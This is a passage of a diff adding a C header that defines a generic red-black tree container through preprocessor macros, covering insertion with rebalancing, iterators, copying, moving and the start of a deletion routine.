+   IT_END(M_F(name,_it_end)),                                                 \
+   IT_END_P(M_F(name,_end_p)),                                                \
+   IT_LAST_P(M_F(name,_last_p)),                                              \
+   IT_EQUAL_P(M_F(name,_it_equal_p)),                                         \
+   IT_NEXT(M_F(name,_next)),                                                  \
+   IT_PREVIOUS(M_F(name,_previous)),                                          \
+   IT_CREF(M_F(name,_cref)),                                                  \
+   IT_REMOVE(M_F(name,_remove)),                                              \
+   RESET(API_0P(M_F(name,_reset))),                                           \
+   PUSH(API_0P(M_F(name,_push))),                                             \
+   GET_MIN(M_F(name,_min)),                                                   \
+   GET_MAX(M_F(name,_max)),                                                   \
+   M_IF_METHOD(GET_STR, oplist)(GET_STR(API_0P(M_F(name, _get_str))),),       \
+   M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(API_0P(M_F(name, _parse_str))),), \
+   M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),),               \
+   M_IF_METHOD(IN_STR, oplist)(IN_STR(API_0P(M_F(name, _in_str))),),          \
+   M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(API_0P(M_F(name, _out_serial))),), \
+   M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(API_0P(M_F(name, _in_serial))),), \
+   M_IF_METHOD(EQUAL, oplist)(EQUAL(M_F(name, _equal_p)),),                   \
+   M_IF_METHOD(HASH, oplist)(HASH(M_F(name, _hash)),)                         \
+   )
+#endif
+
+/********************************** INTERNAL *********************************/
+
+/* Max depth of the binary tree
+   It is at worst twice the depth of a perfectly even tree with maximum elements.
+   The maximum number of elements is the max of size_t.
+   A perfectly even tree is of depth log2(max(size_t))=CHAR_BIT*sizeof(size_t)
+ */
+#define M_RBTR33_MAX_STACK (2*CHAR_BIT*sizeof (size_t))
+
+/* Encapsulation of the color of the nodes. */
+#define M_RBTR33_SET_RED(x)   ((x)->color =  M_RBTR33_RED)
+#define M_RBTR33_SET_BLACK(x) ((x)->color =  M_RBTR33_BLACK)
+#define M_RBTR33_IS_RED(x)    ((x)->color == M_RBTR33_RED)
+#define M_RBTR33_IS_BLACK(x)  ((x)->color == M_RBTR33_BLACK)
+#define M_RBTR33_COPY_COLOR(x,y) ((x)->color = (y)->color)
+#define M_RBTR33_GET_COLOR(x) (true ? (x)->color : (x)->color)
+#define M_RBTR33_SET_COLOR(x, c) ((x)->color = (c))
+#define M_RBTR33_GET_CHILD(x, n) ((x)->child[n])
+#define M_RBTR33_SET_CHILD(x, n, y) ((x)->child[n] = (y))
+
+// Color of a node of a Red/Black tree
+typedef enum {
+  M_RBTR33_BLACK = 0, M_RBTR33_RED
+} m_rbtr33_color_e;
+
+// General contact of a Read/Black tree
+#define M_RBTR33_CONTRACT(tree) do {                                          \
+    M_ASSERT ((tree) != NULL);                                                \
+    M_ASSERT ((tree)->node == NULL || M_RBTR33_IS_BLACK((tree)->node));       \
+    M_ASSERT ((tree)->size != 0 || (tree)->node == NULL);                     \
+  } while (0)
+
+// Contract of a node (doesn't check for equal depth in black)
+#define M_RBTR33_CONTRACT_NODE(node) do {                                     \
+    M_ASSERT((node) != NULL);                                                 \
+    M_ASSERT(M_RBTR33_IS_BLACK(node) || M_RBTR33_IS_RED(node));               \
+    M_ASSERT(M_RBTR33_IS_BLACK(node)                                          \
+           || (((node)->child[0] == NULL || M_RBTR33_IS_BLACK(node->child[0])) \
+               && ((node)->child[1] == NULL || M_RBTR33_IS_BLACK(node->child[1])))); \
+  } while (0)
+
+
+/* Deferred evaluation for the rbtree definition,
+   so that all arguments are evaluated before further expansion */
+#define M_RBTR33_DEF_P1(arg) M_ID( M_RBTR33_DEF_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_RBTR33_DEF_P2(name, type, oplist, tree_t, node_t, it_t)             \
+  M_IF_OPLIST(oplist)(M_RBTR33_DEF_P3, M_RBTR33_DEF_FAILURE)(name, type, oplist, tree_t, node_t, it_t)
+
+/* Stop processing with a compilation failure */
+#define M_RBTR33_DEF_FAILURE(name, type, oplist, tree_t, note_t, it_t)        \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(RBTREE_DEF): the given argument is not a valid oplist: " #oplist)
+
+/* Internal rbtree definition
+   - name: prefix to be used
+   - type: type of the elements of the rbtree
+   - oplist: oplist of the type of the elements of the container
+   - tree_t: alias for the type of the container
+   - it_t: alias for the iterator of the container
+   - node_t: alias for the node of an element of the container
+ */
+#define M_RBTR33_DEF_P3(name, type, oplist, tree_t, node_t, it_t)             \
+  M_RBTR33_DEF_TYPE(name, type, oplist, tree_t, node_t, it_t)                 \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_RBTR33_DEF_CORE(name, type, oplist, tree_t, node_t, it_t)                 \
+  M_RBTR33_DEF_IO(name, type, oplist, tree_t, node_t, it_t)                   \
+  M_EMPLACE_QUEUE_DEF(name, tree_t, _emplace, oplist, M_EMPLACE_QUEUE_GENE)
+
+/* Define the types associated to a R/B Tree */
+#define M_RBTR33_DEF_TYPE(name, type, oplist, tree_t, node_t, it_t)           \
+                                                                              \
+  /* Node of Red/Black tree.                                                  \
+     Each node has up to two child, a color (Red or black)                    \
+     and the data stored in it */                                             \
+  typedef struct M_F(name, _node_s) {                                         \
+    struct M_F(name, _node_s) *child[2];                                      \
+    type data;                                                                \
+    m_rbtr33_color_e color;                                                   \
+  } node_t;                                                                   \
+                                                                              \
+  /* Define the Red/Black tree */                                             \
+  typedef struct M_F(name, _s) {                                              \
+    size_t size;    /* Number of elements in the tree */                      \
+    node_t *node;   /* Root node of the tree */                               \
+  } tree_t[1];                                                                \
+  typedef struct M_F(name, _s) *M_F(name, _ptr);                              \
+  typedef const struct M_F(name, _s) *M_F(name, _srcptr);                     \
+                                                                              \
+  /* Iterator on a tree. The iterator stores the full path to the             \
+  current node through all its parents and its depth */                       \
+  typedef struct M_F(name, _it_s) {                                           \
+    node_t *stack[M_RBTR33_MAX_STACK];                                        \
+    int8_t  which[M_RBTR33_MAX_STACK];                                        \
+    unsigned int cpt;                                                         \
+  } it_t[1];                                                                  \
+                                                                              \
+  /* Definition of the alias used by the oplists */                           \
+  typedef type   M_F(name, _subtype_ct);                                      \
+  typedef tree_t M_F(name, _ct);                                              \
+  typedef it_t   M_F(name, _it_ct);                                           \
+
+/* Define the core functions */
+#define M_RBTR33_DEF_CORE(name, type, oplist, tree_t, node_t, it_t)           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init)(tree_t tree)                                               \
+  {                                                                           \
+    M_ASSERT (tree != NULL);                                                  \
+    tree->size = 0;                                                           \
+    tree->node = NULL;                                                        \
+    M_RBTR33_CONTRACT(tree);                                                  \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _reset, tree_t tree)                                        \
+  {                                                                           \
+    M_RBTR33_CONTRACT(tree);                                                  \
+    node_t *stack[M_RBTR33_MAX_STACK];                                        \
+    unsigned int cpt = 0;                                                     \
+    /* If nothing (no node) nothing to clean: return */                       \
+    if (tree->node == NULL) return;                                           \
+    /* Parse all the tree */                                                  \
+    stack[cpt++] = tree->node;                                                \
+    while (cpt > 0) {                                                         \
+      node_t *n = stack[cpt-1];                                               \
+      /* Go down to the bottom left node that exists */                       \
+      while (true) {                                                          \
+        M_RBTR33_CONTRACT_NODE(n);                                            \
+        /* If there is a left child, get it */                                \
+        if (n->child[0] != NULL) {                                            \
+          M_ASSERT (cpt < M_RBTR33_MAX_STACK);                                \
+          stack[cpt++] = n->child[0];                                         \
+          n = n->child[0];                                                    \
+          stack[cpt-2]->child[0] = NULL;                                      \
+        /* If there is a right child, get it */                               \
+        } else if (n->child[1] != NULL) {                                     \
+          M_ASSERT (cpt < M_RBTR33_MAX_STACK);                                \
+          stack[cpt++] = n->child[1];                                         \
+          n = n->child[1];                                                    \
+          stack[cpt-2]->child[1] = NULL;                                      \
+        /* No left nor right child, node can be deleted */                    \
+        } else {                                                              \
+          break;                                                              \
+        }                                                                     \
+      }                                                                       \
+      M_ASSERT (n == stack[cpt - 1]);                                         \
+      /* Clear the bottom left node */                                        \
+      M_CALL_CLEAR(oplist, n->data);                                          \
+      M_CALL_DEL(oplist, n);                                                  \
+      M_ASSERT((stack[cpt-1] = NULL) == NULL);                                \
+      /* Go up to the parent */                                               \
+      cpt--;                                                                  \
+    }                                                                         \
+    /* Mark the root node as empty */                                         \
+    tree->node = NULL;                                                        \
+    tree->size = 0;                                                           \
+   }                                                                          \
+                                                                              \
+  M_P(void, name, _clear, tree_t tree)                                        \
+  {                                                                           \
+    /* Nothing more than clean the tree as everything is cleared */           \
+    M_F(name, _reset) M_R(tree);                                              \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _push, tree_t tree, type const data)                        \
+  {                                                                           \
+    M_RBTR33_CONTRACT(tree);                                                  \
+    node_t *tab[M_RBTR33_MAX_STACK];                                          \
+    int8_t  which[M_RBTR33_MAX_STACK];                                        \
+    unsigned int cpt = 0;                                                     \
+    node_t *n = tree->node;                                                   \
+    /* If there is no root node, create a new node */                         \
+    if (n == NULL) {                                                          \
+      n = M_CALL_NEW(oplist, node_t);                                         \
+      if (M_UNLIKELY_NOMEM (n == NULL)) {                                     \
+        M_MEMORY_FULL(node_t, 1);                                             \
+      }                                                                       \
+      /* Copy the data in the root node */                                    \
+      M_CALL_INIT_SET(oplist, n->data, data);                                 \
+      /* Mark the root node as black */                                       \
+      n->child[0] = n->child[1] = NULL;                                       \
+      M_RBTR33_SET_BLACK (n);                                                 \
+      tree->node = n;                                                         \
+      M_ASSERT(tree->size == 0);                                              \
+      tree->size = 1;                                                         \
+      M_RBTR33_CONTRACT(tree);                                                \
+      return;                                                                 \
+    }                                                                         \
+    /* Search for insertion point in the tree */                              \
+    tab[cpt] = n;                                                             \
+    while (n != NULL) {                                                       \
+      M_RBTR33_CONTRACT_NODE(n);                                              \
+      int cmp = M_CALL_CMP(oplist, n->data, data);                            \
+      if (cmp == 0) {                                                         \
+        /* key found ==> stop analysis */                                     \
+        break;                                                                \
+      } else {                                                                \
+        /* go left (if cmp > 0) or right (if cmp < 0) */                      \
+        int s = (cmp < 0);                                                    \
+        which[cpt++] = (int8_t) s;                                            \
+        n = n->child[s];                                                      \
+      }                                                                       \
+      /* We cannot overflow the max depth of a tree */                        \
+      M_ASSERT (cpt < M_RBTR33_MAX_STACK);                                    \
+      tab[cpt] = n;                                                           \
+    }                                                                         \
+    /* If found, update the data (default is set) */                          \
+    if (n != NULL) {                                                          \
+      M_CALL_SET(oplist, n->data, data);                                      \
+      M_RBTR33_CONTRACT (tree);                                               \
+      return;                                                                 \
+    }                                                                         \
+    /* Create new node to store the data */                                   \
+    n = M_CALL_NEW(oplist, node_t);                                           \
+    if (M_UNLIKELY_NOMEM (n == NULL) ) {                                      \
+      M_MEMORY_FULL (node_t, 1);                                              \
+    }                                                                         \
+    /* Copy the data and mark the node as red */                              \
+    M_CALL_INIT_SET(oplist, n->data, data);                                   \
+    n->child[0] = n->child[1] = NULL;                                         \
+    M_RBTR33_SET_RED (n);                                                     \
+    /* Add it in the iterator */                                              \
+    M_ASSERT (tab[cpt] == NULL);                                              \
+    tab[cpt] = n;                                                             \
+    /* Add it in the tree */                                                  \
+    tree->size ++;                                                            \
+    M_ASSERT(tab[cpt-1]->child[0+which[cpt-1]] == NULL);                      \
+    tab[cpt-1]->child[0+which[cpt-1]] = n;                                    \
+    /* Fix the tree to still respect the red/back properties */               \
+    while (cpt >= 2                                                           \
+           && M_RBTR33_IS_RED(tab[cpt-1])                                     \
+           && tab[cpt-2]->child[1-which[cpt-2]] != NULL                       \
+           && M_RBTR33_IS_RED(tab[cpt-2]->child[1-which[cpt-2]])) {           \
+      M_RBTR33_SET_BLACK(tab[cpt-1]);                                         \
+      M_RBTR33_SET_BLACK(tab[cpt-2]->child[1-which[cpt-2]]);                  \
+      M_RBTR33_SET_RED(tab[cpt-2]);                                           \
+      cpt-=2;                                                                 \
+    }                                                                         \
+    /* root is always black */                                                \
+    M_RBTR33_SET_BLACK(tab[0]);                                               \
+    if (cpt <= 1 || M_RBTR33_IS_BLACK(tab[cpt-1])) {                          \
+      M_RBTR33_CONTRACT (tree);                                               \
+      return;                                                                 \
+    }                                                                         \
+    /* Read the grand-parent, the parent and the element */                   \
+    node_t *pp = tab[cpt-2];                                                  \
+    node_t *p  = tab[cpt-1];                                                  \
+    node_t *x  = tab[cpt];                                                    \
+    int i      = which[cpt-2];                                                \
+    int j      = 1 - i;                                                       \
+    M_ASSERT (i == 0 || i == 1);                                              \
+    /* We need to do some rotations */                                        \
+    if (i == which[cpt-1]) {                                                  \
+      /* The child is the left child of its parent */                         \
+      /* OR The child is the right child of its parent */                     \
+      /* Right rotation: cpt is the new grand-parent.                         \
+         x is its left child, the grand-parent is the right one */            \
+      pp->child[i] = p->child[j];                                             \
+      p->child[i] = x;                                                        \
+      p->child[j] = pp;                                                       \
+      M_RBTR33_SET_BLACK(p);                                                  \
+      M_RBTR33_SET_RED(pp);                                                   \
+    } else {                                                                  \
+      M_ASSERT (j == which[cpt-1]);                                           \
+      /* The child is the right child of its parent */                        \
+      /* OR The child is the left child of its parent */                      \
+      /* Left rotation */                                                     \
+      pp->child[i] = x->child[j];                                             \
+      p->child[j]  = x->child[i];                                             \
+      x->child[i]  = p;                                                       \
+      x->child[j]  = pp;                                                      \
+      M_RBTR33_SET_BLACK(x);                                                  \
+      M_RBTR33_SET_RED(p);                                                    \
+      M_RBTR33_SET_RED(pp);                                                   \
+      p = x;                                                                  \
+    }                                                                         \
+    /* Insert the new grand parent */                                         \
+    if (cpt == 2) {                                                           \
+      tree->node = p;                                                         \
+    } else {                                                                  \
+      M_ASSERT (cpt >= 3);                                                    \
+      tab[cpt-3]->child[which[cpt-3]] = p;                                    \
+    }                                                                         \
+    /* Done */                                                                \
+    M_RBTR33_CONTRACT (tree);                                                 \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _size)(const tree_t tree)                                         \
+  {                                                                           \
+    M_RBTR33_CONTRACT (tree);                                                 \
+    return tree->size;                                                        \
+  }                                                                           \
+                                                                              \
+  /* Set the iterator to the first (child=0) or last (child=1) element */     \
+  M_INLINE void                                                               \
+  M_C3(m_rbtr33_,name,_it)(it_t it, const tree_t tree, int child)             \
+  {                                                                           \
+    M_RBTR33_CONTRACT (tree);                                                 \
+    M_ASSERT (it != NULL);                                                    \
+    M_ASSERT (child == 0 || child == 1);                                      \
+    unsigned int cpt = 0;                                                     \
+    if (tree->node != NULL) {                                                 \
+      it->which[cpt] = (int8_t) child;                                        \
+      node_t *n = it->stack[cpt++] = tree->node;                              \
+      /* Go down the tree and fill in the iterator */                         \
+      while (n->child[child] != NULL) {                                       \
+        M_ASSERT (cpt < M_RBTR33_MAX_STACK);                                  \
+        n = n->child[child];                                                  \
+        it->which[cpt] = (int8_t) child;                                      \
+        it->stack[cpt++] = n;                                                 \
+      }                                                                       \
+      M_ASSERT (n == it->stack[cpt - 1]);                                     \
+    }                                                                         \
+    it->cpt = cpt;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it)(it_t it, const tree_t tree)                                  \
+  {                                                                           \
+    M_C3(m_rbtr33_,name,_it)(it, tree, 0);                                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_last)(it_t it, const tree_t tree)                             \
+  {                                                                           \
+    M_C3(m_rbtr33_,name,_it)(it, tree, 1);                                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_end)(it_t it, const tree_t tree)                              \
+  {                                                                           \
+    M_RBTR33_CONTRACT (tree);                                                 \
+    M_ASSERT (it != NULL);                                                    \
+    (void) tree; /* parameter not used */                                     \
+    it->cpt = 0;                                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_set)(it_t it, const it_t ref)                                 \
+  {                                                                           \
+    M_ASSERT (it != NULL && ref != NULL);                                     \
+    *it = *ref;                                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _end_p)(const it_t it)                                            \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    return it->cpt == 0;                                                      \
+  }                                                                           \
+                                                                              \
+  /* Go to the next (child = 0)or previous element (child = 1) */             \
+  M_INLINE void                                                               \
+  M_C3(m_rbtr33_,name,_next)(it_t it, int child)                              \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    M_ASSERT (child == 0 || child == 1);                                      \
+    if (it->cpt == 0) return;                                                 \
+    unsigned int cpt = it->cpt - 1;                                           \
+    node_t *n = it->stack[cpt];                                               \
+    /* Get the other child */                                                 \
+    const int right = 1 ^ child;                                              \
+    if (n->child[right] != NULL) {                                            \
+      /* Going right */                                                       \
+      M_ASSERT (cpt < M_RBTR33_MAX_STACK);                                    \
+      n = n->child[right];                                                    \
+      it->which[cpt++] = (int8_t) right;                                      \
+      it->stack[cpt] = n;                                                     \
+      it->which[cpt++] = (int8_t) child;                                      \
+      /* Going left */                                                        \
+      while (n->child[child] != NULL) {                                       \
+        M_ASSERT (cpt < M_RBTR33_MAX_STACK);                                  \
+        n = n->child[child];                                                  \
+        it->which[cpt] = (int8_t) child;                                      \
+        it->stack[cpt++] = n;                                                 \
+      }                                                                       \
+      M_ASSERT (n == it->stack[cpt - 1]);                                     \
+    } else {                                                                  \
+      /* Going up */                                                          \
+      while (cpt > 0 && it->which[cpt-1] == right) cpt--;                     \
+    }                                                                         \
+    it->cpt = cpt;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _next)(it_t it)                                                   \
+  {                                                                           \
+    M_C3(m_rbtr33_,name,_next)(it, 0);                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _previous)(it_t it)                                               \
+  {                                                                           \
+    M_C3(m_rbtr33_,name,_next)(it, 1);                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _ref)(const it_t it)                                              \
+  {                                                                           \
+    M_ASSERT(it != NULL);                                                     \
+    /* There shall be at least one element */                                 \
+    M_ASSERT_INDEX(it->cpt-1, M_RBTR33_MAX_STACK);                            \
+    /* NOTE: partially unsafe if the user modify the order of the el */       \
+    return &(it->stack[it->cpt-1]->data);                                     \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cref)(const it_t it)                                             \
+  {                                                                           \
+    return M_CONST_CAST(type, M_F(name, _ref)(it));                           \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_equal_p)(const it_t it1, const it_t it2)                      \
+  {                                                                           \
+    M_ASSERT(it1 != NULL && it2 != NULL);                                     \
+    /* There can be no element */                                             \
+    M_ASSERT_INDEX(it1->cpt, M_RBTR33_MAX_STACK);                             \
+    M_ASSERT_INDEX(it2->cpt, M_RBTR33_MAX_STACK);                             \
+    return it1->cpt == it2->cpt                                               \
+      && (it1->cpt == 0 || it1->stack[it1->cpt-1] == it2->stack[it2->cpt-1]); \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_from)(it_t it, const tree_t tree, type const data)            \
+  {                                                                           \
+    M_RBTR33_CONTRACT (tree);                                                 \
+    M_ASSERT (it != NULL);                                                    \
+    unsigned int cpt = 0;                                                     \
+    int cmp = 1;                                                              \
+    node_t *n = tree->node;                                                   \
+    /* Find the lowest element greater or equal than data in the tree */      \
+    while (n != NULL) {                                                       \
+      M_ASSERT (cpt < M_RBTR33_MAX_STACK);                                    \
+      it->which[cpt]   = 0;                                                   \
+      it->stack[cpt++] = n;                                                   \
+      cmp = M_CALL_CMP(oplist, n->data, data);                                \
+      if (cmp == 0)                                                           \
+        break;                                                                \
+      int child = (cmp < 0);                                                  \
+      it->which[cpt-1] = (int8_t) child;                                      \
+      n = n->child[child];                                                    \
+    }                                                                         \
+    /* Save the iterator */                                                   \
+    it->cpt = cpt;                                                            \
+    /* The iterator found may be strictly lower than data.                    \
+       In this case, go to the next element */                                \
+    if (cmp < 0) {                                                            \
+      M_F(name, _next)(it);                                                   \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_until_p)(it_t it, type const data)                            \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    if (M_UNLIKELY(it->cpt == 0)) return true;                                \
+    M_ASSERT (it->cpt > 0 && it->cpt < M_RBTR33_MAX_STACK);                   \
+    node_t *n = it->stack[it->cpt-1];                                         \
+    int cmp = M_CALL_CMP(oplist, n->data, data);                              \
+    return (cmp >= 0);                                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_while_p)(it_t it, type const data)                            \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    if (M_UNLIKELY(it->cpt == 0)) return false;                               \
+    M_ASSERT (it->cpt > 0 && it->cpt < M_RBTR33_MAX_STACK);                   \
+    node_t *n = it->stack[it->cpt-1];                                         \
+    int cmp = M_CALL_CMP(oplist, n->data, data);                              \
+    return (cmp <= 0);                                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _min)(const tree_t tree)                                          \
+  {                                                                           \
+    M_RBTR33_CONTRACT (tree);                                                 \
+    node_t *n = tree->node;                                                   \
+    if (M_UNLIKELY (n == NULL) ) return NULL;                                 \
+    while (n->child[0] != NULL) {                                             \
+      M_RBTR33_CONTRACT_NODE (n);                                             \
+      n = n->child[0];                                                        \
+    }                                                                         \
+    return &n->data;                                                          \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _max)(const tree_t tree)                                          \
+  {                                                                           \
+    M_RBTR33_CONTRACT (tree);                                                 \
+    node_t *n = tree->node;                                                   \
+    if (M_UNLIKELY (n == NULL) ) return NULL;                                 \
+    while (n->child[1] != NULL) {                                             \
+      M_RBTR33_CONTRACT_NODE (n);                                             \
+      n = n->child[1];                                                        \
+    }                                                                         \
+    return &n->data;                                                          \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cmin)(const tree_t tree)                                         \
+  {                                                                           \
+    return M_CONST_CAST(type, M_F(name, _min)(tree));                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cmax)(const tree_t tree)                                         \
+  {                                                                           \
+    return M_CONST_CAST(type, M_F(name, _max)(tree));                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _get)(const tree_t tree, type const data)                         \
+  {                                                                           \
+    M_RBTR33_CONTRACT (tree);                                                 \
+    node_t *n = tree->node;                                                   \
+    /* Go down the tree */                                                    \
+    while (n != NULL) {                                                       \
+      M_RBTR33_CONTRACT_NODE (n);                                             \
+      int cmp = M_CALL_CMP(oplist, n->data, data);                            \
+      if (cmp == 0) {                                                         \
+        return &n->data;                                                      \
+      } else {                                                                \
+        /* Go left (if cmp > 0) or right (if cmp < 0) */                      \
+        n = n->child[cmp < 0];                                                \
+      }                                                                       \
+    }                                                                         \
+    return NULL;                                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cget)(const tree_t tree, type const data)                        \
+  {                                                                           \
+    return M_CONST_CAST(type, M_F(name, _get)(tree, data));                   \
+  }                                                                           \
+                                                                              \
+  /* Create a copy of the given node (recursively) */                         \
+  M_P(node_t *, name, _i_copy_node, const node_t *o)                          \
+  {                                                                           \
+    if (M_UNLIKELY(o == NULL)) return NULL;                                   \
+    node_t *n = M_CALL_NEW(oplist, node_t);                                   \
+    if (M_UNLIKELY_NOMEM (n == NULL) ) {                                      \
+      M_MEMORY_FULL (node_t, 1);                                              \
+    }                                                                         \
+    M_CALL_INIT_SET(oplist, n->data, o->data);                                \
+    n->child[0] = M_F(name,_i_copy_node)M_R(o->child[0]);                     \
+    n->child[1] = M_F(name,_i_copy_node)M_R(o->child[1]);                     \
+    M_RBTR33_COPY_COLOR (n, o);                                               \
+    return n;                                                                 \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _init_set, tree_t tree, const tree_t ref)                   \
+  {                                                                           \
+    M_RBTR33_CONTRACT (ref);                                                  \
+    M_ASSERT (tree != NULL && tree != ref);                                   \
+    tree->size = ref->size;                                                   \
+    /* Copy the root node recursively */                                      \
+    tree->node = M_F(name,_i_copy_node)M_R(ref->node);                        \
+    M_RBTR33_CONTRACT (tree);                                                 \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _set, tree_t tree, const tree_t ref)                        \
+  {                                                                           \
+    M_RBTR33_CONTRACT (tree);                                                 \
+    M_RBTR33_CONTRACT (ref);                                                  \
+    if (tree == ref) return;                                                  \
+    M_F(name,_clear)M_R(tree);                                                \
+    M_F(name,_init_set)M_R(tree, ref);                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_move)(tree_t tree, tree_t ref)                              \
+  {                                                                           \
+    M_RBTR33_CONTRACT (ref);                                                  \
+    M_ASSERT (tree != NULL && tree != ref);                                   \
+    tree->size = ref->size;                                                   \
+    tree->node = ref->node;                                                   \
+    /* Mark ref as an invalid representation */                               \
+    ref->node = NULL;                                                         \
+    ref->size = 1;                                                            \
+    M_RBTR33_CONTRACT (tree);                                                 \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _move, tree_t tree, tree_t ref)                             \
+  {                                                                           \
+    M_RBTR33_CONTRACT (tree);                                                 \
+    M_RBTR33_CONTRACT (ref);                                                  \
+    M_ASSERT (tree != ref);                                                   \
+    M_F(name,_clear)M_R(tree);                                                \
+    M_F(name,_init_move)(tree, ref);                                          \
+    M_RBTR33_CONTRACT (tree);                                                 \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _swap)(tree_t tree1, tree_t tree2)                                \
+  {                                                                           \
+    M_RBTR33_CONTRACT (tree1);                                                \
+    M_RBTR33_CONTRACT (tree2);                                                \
+    M_SWAP(size_t, tree1->size, tree2->size);                                 \
+    M_SWAP(node_t *, tree1->node, tree2->node);                               \
+    M_RBTR33_CONTRACT (tree1);                                                \
+    M_RBTR33_CONTRACT (tree2);                                                \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _empty_p)(const tree_t tree)                                      \
+  {                                                                           \
+    M_RBTR33_CONTRACT (tree);                                                 \
+    return tree->size == 0;                                                   \
+  }                                                                           \
+                                                                              \
+  /* Take care of the case n == NULL too */                                   \
+  M_INLINE bool                                                               \
+  M_C3(m_rbtr33_,name,_black_p)(const node_t *n)                              \
+  {                                                                           \
+    return (n == NULL) ? true : M_RBTR33_IS_BLACK(n);                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_C3(m_rbtr33_,name,_set_black)(node_t *n)                                  \
+  {                                                                           \
+    if (n != NULL) M_RBTR33_SET_BLACK(n);                                     \
+  }                                                                           \
+                                                                              \
+  M_INLINE node_t *                                                           \
+  M_C3(m_rbtr33_,name,_rotate)(node_t *pp, node_t *ppp, const bool right)     \
+  {                                                                           \
+    M_ASSERT (pp != NULL && ppp != NULL);                                     \
+    bool left = !right;                                                       \
+    node_t *p = pp->child[right];                                             \
+    M_ASSERT (p != NULL);                                                     \
+    pp->child[right] = p->child[left];                                        \
+    p->child[left]  = pp;                                                     \
+    /* Fix grandparent with new parent */                                     \
+    M_ASSERT(ppp->child[0] == pp || ppp->child[1] == pp);                     \
+    ppp->child[(ppp->child[0] != pp)] = p;                                    \
+    return p;                                                                 \
+  }                                                                           \
+                                                                              \
+  M_IF_DEBUG(                                                                 \
+  /* Compute the depth of a node */                                           \
+  M_INLINE size_t                                                             \
+  M_C3(m_rbtr33_,name,_compute_depth)(const node_t *n)                        \
+  {                                                                           \
+    if (n == NULL) return 1;                                                  \
+    return M_RBTR33_IS_BLACK (n)                                              \
+      + M_C3(m_rbtr33_,name,_compute_depth)(n->child[0]);                     \
+  }                                                                           \
+  )                                                                           \
+                                                                              \
+  M_P(bool, name, _pop_at, type *data_ptr, tree_t tree, type const key)       \
+  {                                                                           \
+    M_RBTR33_CONTRACT (tree);                                                 \
+    node_t *tab[M_RBTR33_MAX_STACK];                                          \
+    int8_t  which[M_RBTR33_MAX_STACK];                                        \
+    unsigned int cpt = 0;                                                     \
+    node_t root_dummy;                                                        \
+    node_t *n = tree->node;                                                   \
+    which[0] = 0;                                                             \
+    root_dummy.child[0] = n;                                                  \
+    tab[cpt++] = &root_dummy;                                                 \
+    /* Search for the deletion point */                                       \
+    tab[cpt] = n;                                                             \
+    while (n != NULL) {                                                       \
+      M_RBTR33_CONTRACT_NODE (n);                                             \
+      M_ASSERT(M_C3(m_rbtr33_,name,_compute_depth)(n->child[0])               \
+             == M_C3(m_rbtr33_,name,_compute_depth)(n->child[1]));            \
+      int cmp = M_CALL_CMP(oplist, n->data, key);                             \
+      if (cmp == 0) {                                                         \
+        break;                                                                \
+      }                                                                       \
+      int i = (cmp < 0);                                                      \
+      which[cpt++] = (int8_t) i;                                              \
+      n = n->child[i];                                                        \
+      M_ASSERT (cpt < M_RBTR33_MAX_STACK);                                    \
+      tab[cpt] = n;                                                           \
+    }                                                                         \
+    M_ASSERT (tab[cpt] == n);                                                 \
+    /* If not found, fail */                                                  \
+    if (n == NULL) {                                                          \
+      return false;                                                           \
+    }                                                                         \
+    unsigned int cpt_n = cpt;                                                 \
+    node_t *v = n;     /* the replacement node */                             \
+    node_t *u;         /* the deleted node */                                 \
+    m_rbtr33_color_e v_color = M_RBTR33_GET_COLOR(v);                         \
